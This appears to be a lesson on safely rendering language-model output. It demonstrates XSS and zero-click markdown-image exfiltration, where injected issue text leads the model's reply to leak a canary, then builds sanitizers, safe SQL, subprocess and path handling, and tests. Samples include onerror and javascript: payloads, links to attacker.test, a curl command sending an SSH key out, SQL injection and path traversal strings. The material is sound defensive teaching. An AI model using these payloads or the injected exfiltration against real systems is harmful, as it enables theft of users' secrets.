Safe Output Handling

# script_id: day_071_safe_output_handling/toy_xss
# A 10-line XSS: model output pasted into HTML unescaped. Stdlib only. Writes reply.html.
from pathlib import Path

issue_body = 'Worker crashes on start <img src=x onerror="alert(\'XSS via issue text\')">'
model_reply = f"Thanks for the report! You wrote: {issue_body}. Try `orbit doctor` first."

page = f"<html><body><h1>Draft reply</h1><div>{model_reply}</div></body></html>"
Path("reply.html").write_text(page, encoding="utf-8")
print("wrote reply.html; open it in a browser")

wrote reply.html; open it in a browser

# script_id: day_071_safe_output_handling/escape_fix
# The fix: escape model output at the HTML sink. Stdlib only. Writes reply_safe.html.
import html
from pathlib import Path

for s in ['<b>bold</b>', 'Tom & "Jerry"', "<img src=x onerror=alert(1)>"]:
    print(html.escape(s))                      # check your predictions from the table

issue_body = 'Worker crashes on start <img src=x onerror="alert(\'XSS via issue text\')">'
model_reply = f"Thanks for the report! You wrote: {issue_body}. Try `orbit doctor` first."

page = f"<html><body><h1>Draft reply</h1><div>{html.escape(model_reply)}</div></body></html>"
Path("reply_safe.html").write_text(page, encoding="utf-8")
print("wrote reply_safe.html:", "onerror" in page, "<img" in page)

<b>bold</b>
Tom & "Jerry"
<img src=x onerror=alert(1)>
wrote reply_safe.html: True False

# script_id: day_071_safe_output_handling/attacker_server
# A pretend attacker that logs every GET. Binds 127.0.0.1:8999 only. Stdlib only.
# Run it in its own terminal (python attacker_server.py), or import start_attacker().
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

HITS: list[str] = []

class LogEverything(BaseHTTPRequestHandler):
    def do_GET(self) -> None:
        HITS.append(self.path)
        print(f"[attacker.test] GET {self.path}", flush=True)
        self.send_response(204)                # "No Content": the image is never shown
        self.end_headers()

    def log_message(self, *args) -> None:      # silence the default stderr access log
        pass

def start_attacker(port: int = 8999) -> HTTPServer:
    server = HTTPServer(("127.0.0.1", port), LogEverything)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    return server

if __name__ == "__main__":
    HTTPServer(("127.0.0.1", 8999), LogEverything).serve_forever()

# script_id: day_071_safe_output_handling/exfil_demo
# Naive markdown -> HTML leaks a canary with zero clicks. Install: uv add markdown-it-py
# Needs attacker_server.py next to this file. For the real thing, run attacker_server.py
# in one terminal and open naive.html in a browser.
import re
import urllib.request
from pathlib import Path

from markdown_it import MarkdownIt

from attacker_server import HITS, start_attacker

CANARY = "ORBIT-CANARY-7f3a9c"   # stands in for a secret in Atlas's context
model_reply = ("Thanks! The fix is described in the retries guide.\n\n"
               f"![status](http://127.0.0.1:8999/c?d={CANARY})\n\n"   # obeyed from the issue
               "<img src=x onerror=alert(1)>")

page = MarkdownIt().render(model_reply)          # default preset: raw HTML ON
Path("naive.html").write_text(page, encoding="utf-8")
print(page)

server = start_attacker()
for src in re.findall(r'<img src="(http[^"]+)"', page):   # the browser's automatic fetch
    urllib.request.urlopen(src, timeout=5).close()
server.shutdown()
print("attacker saw:", HITS)

<p>Thanks! The fix is described in the retries guide.</p>
<p><img src="http://127.0.0.1:8999/c?d=ORBIT-CANARY-7f3a9c" alt="status" /></p>
<img src=x onerror=alert(1)>
[attacker.test] GET /c?d=ORBIT-CANARY-7f3a9c
attacker saw: ['/c?d=ORBIT-CANARY-7f3a9c']

# script_id: day_071_safe_output_handling/safe_output
# atlas/safe_output.py: one output policy for every place model text is rendered.
# Install: uv add markdown-it-py nh3   Env: none   Services: none
# Day 75 reuses this module; Day 79 copies safe_markdown().
from __future__ import annotations

import re
from urllib.parse import urlsplit

import nh3
from markdown_it import MarkdownIt
from markdown_it.token import Token

ALLOWED_HOSTS: frozenset[str] = frozenset({"docs.orbit.example", "github.com"})

def is_allowed_url(url: str, allowed_hosts: frozenset[str] = ALLOWED_HOSTS) -> bool:
    """https only, exact hostname match, no user@host tricks. Unparseable means no."""
    try:
        parts = urlsplit(url.strip())
        parts.port                          # raises ValueError on a malformed port
    except ValueError:
        return False
    return (parts.scheme == "https"         # urlsplit lowercases the scheme
            and parts.hostname in allowed_hosts   # lowercased, port and user:pass removed
            and parts.username is None)     # credentials in a link are phishing bait

def _host(url: str) -> str:
    """For the "[image removed: host]" note, so maintainers see what was dropped."""
    try:
        return urlsplit(url).hostname or "unknown host"
    except ValueError:
        return "unknown host"

# script_id: day_071_safe_output_handling/safe_output
# Concern 2: raw HTML off, then the URL policy on the token stream.
_md = MarkdownIt("commonmark", {"html": False}).enable("table")

def _apply_url_policy(tokens: list[Token], allowed_hosts: frozenset[str]) -> None:
    """Rewrite inline tokens in place. CommonMark links can't nest, so one flag is enough."""
    for block in tokens:
        kids = block.children or []
        dropping = False
        for i, tok in enumerate(kids):
            if tok.type == "image" and not is_allowed_url(tok.attrGet("src") or "", allowed_hosts):
                note = f"[image removed: {_host(tok.attrGet('src') or '')}]"
                kids[i] = Token("text", "", 0, content=note)   # text tokens are escaped on render
            elif tok.type == "link_open" and not is_allowed_url(tok.attrGet("href") or "", allowed_hosts):
                kids[i], dropping = Token("text", "", 0), True     # keep the words, drop the <a>
            elif tok.type == "link_close" and dropping:
                kids[i], dropping = Token("text", "", 0), False

def _render_with_policy(md_text: str, allowed_hosts: frozenset[str]) -> str:
    tokens = _md.parse(md_text)
    _apply_url_policy(tokens, allowed_hosts)
    return _md.renderer.render(tokens, _md.options, {})

# script_id: day_071_safe_output_handling/safe_output
# Concern 3: a parser-based sanitizer as defense in depth, plus the browser backstop.
_TAGS = {"p", "br", "hr", "strong", "em", "code", "pre", "blockquote", "ul", "ol", "li",
         "a", "img", "h1", "h2", "h3", "h4", "h5", "h6",
         "table", "thead", "tbody", "tr", "th", "td"}
_ATTRS = {"a": {"href", "title"}, "img": {"src", "alt", "title"}, "code": {"class"}}

def safe_render(md: str, *, allowed_hosts: frozenset[str] = ALLOWED_HOSTS) -> str:
    """Model markdown -> an HTML fragment safe to place in a page (serve it with CSP_HEADER)."""
    html_out = _render_with_policy(md, allowed_hosts)
    return nh3.clean(html_out, tags=_TAGS, attributes=_ATTRS, url_schemes={"https"},
                     link_rel="noopener noreferrer nofollow")

# No inline script or event handlers, images only from us and the docs host, and
# fetch/XHR only to our own origin (connect-src falls back to default-src). Day 77 sends it.
CSP_HEADER = ("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; "
              "img-src 'self' https://docs.orbit.example; frame-ancestors 'none'")

# script_id: day_071_safe_output_handling/safe_output
# Concern 4: markdown in, markdown out, for renderers you don't control.
_INLINE = re.compile(r'(!?)\[([^\]\n]*)\]\(\s*((?:[^\s()]|\([^\s()]*\))*)(?:\s+"[^"\n]*")?\s*\)')
_REF_DEF = re.compile(r"^ {0,3}\[[^\]]+\]:\s*<?(\S+?)>?(?:\s+.*)?$", re.M)
_judge = MarkdownIt("commonmark", {"html": True}).enable("table")
_judge.validateLink = lambda url: True        # the judge sees every URL a lax renderer would

def _violations(md_text: str, allowed_hosts: frozenset[str]) -> list[str]:
    bad = []
    for block in _judge.parse(md_text):
        bad += [block.content] if block.type == "html_block" else []
        for tok in block.children or []:
            url = tok.attrGet("src") if tok.type == "image" else tok.attrGet("href")
            if tok.type == "html_inline" or (url is not None and not is_allowed_url(url, allowed_hosts)):
                bad.append(url or tok.content)
    return bad

def safe_markdown(text: str, *, allowed_hosts: frozenset[str] = ALLOWED_HOSTS) -> str:
    """Model markdown -> markdown with no raw HTML and no off-policy links or images."""
    def fix(m: re.Match) -> str:
        bang, label, url = m.groups()
        if is_allowed_url(url, allowed_hosts):
            return m.group(0)
        return f"[image removed: {_host(url)}]" if bang else label
    out = _INLINE.sub(fix, text.replace("<", "&lt;"))
    out = _REF_DEF.sub(lambda m: m.group(0) if is_allowed_url(m.group(1), allowed_hosts) else "", out)
    if _violations(out, allowed_hosts):       # a form the regexes missed: fail closed
        fence = "`" * max(3, max((len(r) for r in re.findall(r"`+", text)), default=0) + 1)
        out = f"{fence}text\n{text}\n{fence}"
    return out

if __name__ == "__main__":
    reply = ("See [the retries guide](https://docs.orbit.example/retries-and-backoff).\n\n"
             "<img src=x onerror=alert(1)>\n\n"
             "![status](https://attacker.test/c?d=ORBIT-CANARY-7f3a9c) [click](javascript:alert(1))")
    print(safe_render(reply), "---", safe_markdown(reply), sep="\n")

<p>See <a href="https://docs.orbit.example/retries-and-backoff" rel="noopener noreferrer nofollow">the retries guide</a>.</p>
<p>&lt;img src=x onerror=alert(1)&gt;</p>
<p>[image removed: attacker.test] [click](javascript:alert(1))</p>

---
See [the retries guide](https://docs.orbit.example/retries-and-backoff).

&lt;img src=x onerror=alert(1)>

[image removed: attacker.test] click

# Don't do any of these with model output:
conn.execute(f"SELECT ... WHERE severity = '{severity}'")       # severity = "S1' OR '1'='1"
subprocess.run(f"orbit {command}", shell=True)                  # command = "doctor; curl attacker.test/$(cat ~/.ssh/id_ed25519)"
open(DOCS / doc_name)                                           # doc_name = "../../.env"

# script_id: day_071_safe_output_handling/safe_sinks
# Model output into SQL, a process and a file path. Stdlib only.
# Env: ORBIT_DATA (default datasets/orbit). Opens issues/orbit.db read-only.
import os
import shutil
import sqlite3
import subprocess
from pathlib import Path

DATA_DIR = Path(os.environ.get("ORBIT_DATA", "datasets/orbit"))

def connect_ro() -> sqlite3.Connection:   # compact copy of Day 33's helper
    db = (DATA_DIR / "issues" / "orbit.db").resolve()
    return sqlite3.connect(f"{db.as_uri()}?mode=ro", uri=True)

severity = "S1' OR '1'='1"                # what the model "extracted" from a hostile issue
conn = connect_ro()
unsafe = conn.execute(f"SELECT count(*) FROM issues WHERE severity = '{severity}'").fetchone()[0]
safe = conn.execute("SELECT count(*) FROM issues WHERE severity = ?", (severity,)).fetchone()[0]
conn.close()
print(f"f-string: {unsafe} rows | parameter: {safe} rows")

ORDER_COLUMNS = frozenset({"created_at", "severity", "comment_count"})

def order_clause(column: str) -> str:
    if column not in ORDER_COLUMNS:       # identifiers can't be ? parameters
        raise ValueError(f"cannot sort by {column!r}")
    return f"ORDER BY {column} DESC"

# script_id: day_071_safe_output_handling/safe_sinks
ALLOWED_CLI: frozenset[tuple[str, ...]] = frozenset({("doctor",), ("dlq", "list")})

def run_orbit_cli(args: list[str], *, timeout: float = 30.0) -> str:
    """Run an allowlisted, read-only orbit command. No shell parses anything."""
    if tuple(args) not in ALLOWED_CLI:
        raise PermissionError(f"'orbit {' '.join(args)}' is not on the allowlist")
    exe = shutil.which(os.environ.get("ORBIT_BIN", "orbit"))
    if exe is None:                       # Orbit is fictional: show what would run
        return f"DRY RUN: orbit {' '.join(args)}"
    done = subprocess.run([exe, *args], shell=False, capture_output=True, text=True, timeout=timeout)
    return done.stdout or done.stderr

def safe_path(base: Path, user_path: str) -> Path:
    """Resolve user_path inside base, or refuse. Generalizes Day 40's safe_doc_path."""
    root = base.resolve()
    try:
        target = (root / user_path).resolve()
    except (ValueError, OSError):         # e.g. an embedded NUL byte
        raise PermissionError(f"bad path {user_path!r}") from None
    if not target.is_relative_to(root):   # "/etc/passwd" also lands here: root / "/x" == "/x"
        raise PermissionError(f"{user_path!r} escapes the base folder")
    return target

for args in (["doctor"], ["dlq", "list"], ["dlq", "purge"], ["doctor;", "rm", "-rf", "/"]):
    try:
        print("ok  ", run_orbit_cli(args))
    except PermissionError as e:
        print("deny", e)
for p in ("retries-and-backoff.md", "../issues/orbit.db", "/etc/passwd", "a\x00b"):
    try:
        print("ok  ", safe_path(DATA_DIR / "docs", p).name)
    except PermissionError as e:
        print("deny", e)

f-string: 240 rows | parameter: 0 rows
ok   DRY RUN: orbit doctor
ok   DRY RUN: orbit dlq list
deny 'orbit dlq purge' is not on the allowlist
deny 'orbit doctor; rm -rf /' is not on the allowlist
ok   retries-and-backoff.md
deny '../issues/orbit.db' escapes the base folder
deny '/etc/passwd' escapes the base folder
deny bad path 'a\x00b'

# script_id: day_071_safe_output_handling/test_exfiltration
# pytest: every payload must come out harmless. Install: uv add markdown-it-py nh3 pytest
# Needs safe_output.py next to this file. Run: pytest test_exfiltration.py -q (or python it).
from html.parser import HTMLParser

import pytest
from markdown_it import MarkdownIt

from safe_output import is_allowed_url, safe_markdown, safe_render

CANARY = "ORBIT-CANARY-7f3a9c"
EVIL = f"https://attacker.test/c?d={CANARY}"
EXFIL_PAYLOADS: list[tuple[str, str]] = [
    ("script_tag", f"<script>fetch('{EVIL}')</script>"),
    ("img_onerror", f"<img src=x onerror=\"fetch('{EVIL}')\">"),
    ("js_link", "[Open docs](javascript:alert(document.cookie))"),
    ("js_mixed_case", "[Open docs](JaVaScRiPt:alert(1))"),
    ("js_entity", "[Open docs](javas&#99;ript:alert(1))"),
    ("data_image", "![chart](data:image/png;base64,iVBORw0KGgo=)"),
    ("external_image", f"![status]({EVIL})"),
    ("reference_image", f"![status][s]\n\n[s]: {EVIL}"),
    ("autolink", f"<{EVIL}>"),
    ("lookalike_host", f"![logo](https://docs.orbit.example.evil.test/x.png?d={CANARY})"),
    ("userinfo_host", f"[docs](https://docs.orbit.example@attacker.test/?d={CANARY})"),
    ("table_cell", f"| step | status |\n|---|---|\n| 1 | ![ok]({EVIL}) |"),
]
LAX = MarkdownIt("commonmark", {"html": True}).enable("table")   # a careless downstream renderer
LAX.validateLink = lambda url: True

# script_id: day_071_safe_output_handling/test_exfiltration
class _Tags(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.found: list[tuple[str, dict]] = []

    def handle_starttag(self, tag, attrs) -> None:
        self.found.append((tag, dict(attrs)))

def problems(page: str) -> list[str]:
    """Everything a browser would execute, or fetch from a host we didn't approve."""
    parser = _Tags()
    parser.feed(page)
    bad = []
    for tag, attrs in parser.found:
        bad += [f"<{tag}>"] if tag in {"script", "iframe", "object", "embed", "style"} else []
        bad += [f"{tag}[{k}]" for k in attrs if k.startswith("on")]
        bad += [f"{tag}[{k}]={v}" for k, v in attrs.items()
                if k in {"src", "href"} and not is_allowed_url(v or "")]
    return bad

PAYLOADS = [p for _, p in EXFIL_PAYLOADS]
IDS = [pid for pid, _ in EXFIL_PAYLOADS]

@pytest.mark.parametrize("payload", PAYLOADS, ids=IDS)
def test_safe_render_blocks(payload: str) -> None:
    assert problems(safe_render(payload)) == []

@pytest.mark.parametrize("payload", PAYLOADS, ids=IDS)
def test_safe_markdown_survives_a_lax_renderer(payload: str) -> None:
    assert problems(LAX.render(safe_markdown(payload))) == []

def test_allowed_link_survives() -> None:     # a filter that blocks everything isn't a fix
    out = safe_render("[Retries](https://docs.orbit.example/retries-and-backoff)")
    assert '<a href="https://docs.orbit.example/retries-and-backoff"' in out

def test_oracle_catches_the_naive_renderer() -> None:   # prove the oracle can fail
    assert problems(MarkdownIt().render(EXFIL_PAYLOADS[1][1] + "\n\n" + EXFIL_PAYLOADS[6][1]))

if __name__ == "__main__":
    raise SystemExit(pytest.main([__file__, "-q", "-p", "no:cacheprovider"]))

..........................                                               [100%]
26 passed in 0.03s